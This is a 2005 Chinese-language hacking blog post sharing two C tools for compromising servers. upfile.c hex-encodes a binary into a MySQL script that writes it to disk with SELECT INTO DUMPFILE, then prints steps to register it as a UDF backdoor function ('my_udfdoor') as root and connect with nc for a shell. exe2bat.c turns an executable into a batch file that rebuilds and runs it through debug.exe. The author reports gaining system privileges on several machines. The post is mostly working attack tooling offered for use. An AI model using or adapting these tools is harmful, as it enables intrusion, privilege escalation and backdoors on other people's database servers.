2005-11-18 18:57:48 by: h4x0r

MYSQL上传二进制文件的利用工具

Font Size: Large | Medium | Small
看了黑防第7期的从MYSQL到系统权限的文章,里面作者写了个利用MYSQL上传二进制文件的利用工具,并给出了程序的源代码,俺按照他的方法,试验了几台机器都成功得到了系统权限。但是那个工具似乎写得不是很好,要先dir出文件的大小,然后在用重定向符>写入那个脚本,感觉好费尽,其实这些都可以用编程实现在程序内部的,于是俺就也写了个利用工具,比勇哥的感觉要好^_^,原程序如下,比较简单:

upfile.c
#include <stdio.h>
#include <string.h>
#define Max 600

char ver[Max]="\n\t\tWirtten by W.Z.T <Don't be lazy,Just go ahead>\n\n\t\t\tQQ:0x3731353739393132\n\n";

void help(void);
void upfile(char *,char *,char *);

int main(int argc,char **argv)
{
 if(argc==1)
 {
 help();
 }
 upfile(argv[1],argv[2],argv[3]);
 return 0;
}

void help(void)
{
 int i;
 for(i=0;i<strlen(ver);i++)
 {
 sleep(15);
 printf("%c",ver[i]);
 }
 printf("upfile.exe <localfile> <remotefile> <script.txt>\n\n");
 printf("exp:\n\n");
 printf("upfile.exe my_udf.dll c:\\\\my_udf.dll sgl.txt\n");
 exit(0);
}

void upfile(char *line,char *line1,char *line2)
{
 FILE *fp_s,*fp_t;
 char *use[7]={"\n#then,do as follows:\n\n",
 "#mysql -h remoteip -uroot -p\n",
 "#mysql>\\. script.txt\n",
 "#create FUNCTION my_udfdoor RETURNS STRING SONAME \'",
 "\';\n",
 "#select my_udfdoor(\'\');\n\n",
 "#nc -vv remoteip 3306/fuck\n"};
 char ch;
 long lenth;
 int i=0,j;
 if((fp_s=fopen(line,"rb"))==NULL)
 {
 printf("Can't open the file %s.\n",line);
 exit(0);
 }
 if((fp_t=fopen(line2,"w+"))==NULL)
 {
 printf("Can't open the file %s.\n",line2);
 exit(0);
 }
 fseek(fp_s,0,SEEK_END);
 lenth=ftell(fp_s);
 fseek(fp_s,0,SEEK_SET);
 printf("\n#%s has %ld bytes,0x%x\n",line1,lenth,lenth);
 fputs("set @a = concat(\'\',0x",fp_t);
 while(i<lenth)
 {
 ch = fgetc(fp_s);
 if(( unsigned char ) ch<= ( unsigned char )15)
 fprintf(fp_t,"0",ch);
 fprintf(fp_t,"%x",(unsigned char)ch);
 i++;
 }
 fputs(");\n",fp_t);
 fputs("use mysql;\n",fp_t);
 fputs("create table sgl(data LONGBLOB);\n",fp_t);
 fputs("insert into sgl values(\"\");\n",fp_t);
 fputs("update sgl set data = @a;\n",fp_t);
 fputs("select data from sgl into DUMPFILE \'",fp_t);
 fputs(line1,fp_t);
 fputs("\';\n",fp_t);
 fputs("drop table sgl;\n",fp_t);
 fclose(fp_s);
 fclose(fp_t);
 for(i=0;i<7;i++)
 {
 if(i==4)
 printf("%s",line1);
 for(j=0;j<strlen(use[i]);j++)
 {
 sleep(20);
 printf("%c",use[i][j]);
 }
 }
 printf("done.good luck.\n\n");
}

由于程序比较简单,所以没加注释。其实我们还可以融会贯通,把上面的代码稍微改下,就可以写一个
exe2bat的程序,原理就不详细说了,还是直接看我的代码:

exe2bat.c
#include <stdio.h>
#include <string.h>

#define M 65279

char *msg="GOOD_LUCK";

void help(void);
char exe2bat(char *,char *);

int main(int argc,char **argv)
{
 if(argc==1)
 {
 help();
 }
 exe2bat(argv[1],argv[2]);
 return 0;
}

void help()
{
 printf("\nWritten by W.Z.T <==Don't be lazy,Just go ahead==>\n\n");
 printf("exe2bat.exe input.exe output.bat\n");
 exit(0);
}

char exe2bat(char *s_f,char *t_f)
{
 FILE *s_fp,*t_fp;
 char *s_fe=s_f;
 char *t_fe=t_f;
 char c;
 char ch;
 long lenth;
 int i=1,k=256;
 if((s_fp=fopen(s_fe,"rb"))==NULL)
 {
 printf("Can't open the file %s.\n",s_fe);
 exit(0);
 }
 if((t_fp=fopen(t_fe,"w+"))==NULL)
 {
 printf("Can't create the file %s.\n",t_fe);
 exit(0);
 }
 fseek(s_fp,0,SEEK_END);
 lenth=ftell(s_fp);
 fseek(s_fp,0,SEEK_SET);
 printf("%ld,%x\n",lenth,lenth);
 if(lenth>=M)
 {
 printf("The exe file's lenth must be <= M-1\n");
 exit(0);
 }
 fputs("@echo e ",t_fp);
 fprintf(t_fp,"%04x ",k);
 while(!feof(s_fp))
 {
 k++;
 c = fgetc(s_fp);
 if(( unsigned char ) c<= ( unsigned char )15)
 fprintf(t_fp,"0",c);
 fprintf(t_fp,"%x ",(unsigned char)c);
 if(i%16==0)
 {
 fputs(">>sgl\n",t_fp);
 fputs("@echo e ",t_fp);
 fprintf(t_fp,"%04x ",k);
 }
 i++;
 }
 if(lenth%16!=0)
 fputs(">>%tmp%\\sgl\n",t_fp);
 fputs("@echo rcx>>sgl\n",t_fp);
 fprintf(t_fp,"@echo %x>>sgl\n",lenth,t_fp);
 fputs("@echo n tthacker>>sgl\n",t_fp);
 fputs("@echo w>>sgl\n",t_fp);
 fputs("@echo q>>sgl\n",t_fp);
 fputs("@debug<sgl>nul\n",t_fp);
 fputs("@del sgl\n",t_fp);
 fputs("@ren tthacker ",t_fp);
 fprintf(t_fp,"%s>>sgl\n",s_fe);
 fputs("@",t_fp);
 fprintf(t_fp,"%s",s_fe);
 fclose(s_fp);
 fclose(t_fp);
 puts(msg);
 return 0;
}
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=150

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code